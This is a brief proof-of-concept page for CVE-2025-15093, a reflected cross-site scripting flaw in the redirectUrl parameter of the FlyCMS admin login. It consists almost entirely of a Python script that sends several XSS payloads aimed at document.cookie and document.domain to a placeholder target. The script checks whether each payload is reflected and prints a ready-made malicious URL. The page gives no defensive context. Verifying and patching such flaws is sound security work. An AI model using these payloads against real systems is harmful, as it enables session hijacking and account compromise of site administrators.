CVE-2025-15093 sunkaifei FlyCMS Admin Login redirectUrl参数XSS漏洞

import requests # CVE-2025-15093 PoC - FlyCMS XSS via redirectUrl parameter # Target: FlyCMS Admin Login target_url = "http://target.com/FlyCMS/admin/indexAdmin/login" # XSS payload in redirectUrl parameter xss_payloads = [ "javascript:alert(document.cookie)", "<script>alert(document.domain)</script>", "<img src=x onerror=alert(document.cookie)>", "\"onclick=\"alert(document.cookie)", ] for payload in xss_payloads: # Construct malicious URL with XSS payload params = { "redirectUrl": payload } try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Testing payload: {payload}") print(f"[*] Response status: {response.status_code}") # Check if payload is reflected in response if payload in response.text: print(f"[!] VULNERABLE - Payload reflected in response") else: print(f"[*] Payload not directly reflected") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Manual verification recommended:") print(f"[*] Visit: {target_url}?redirectUrl=<script>alert(document.cookie)</script>")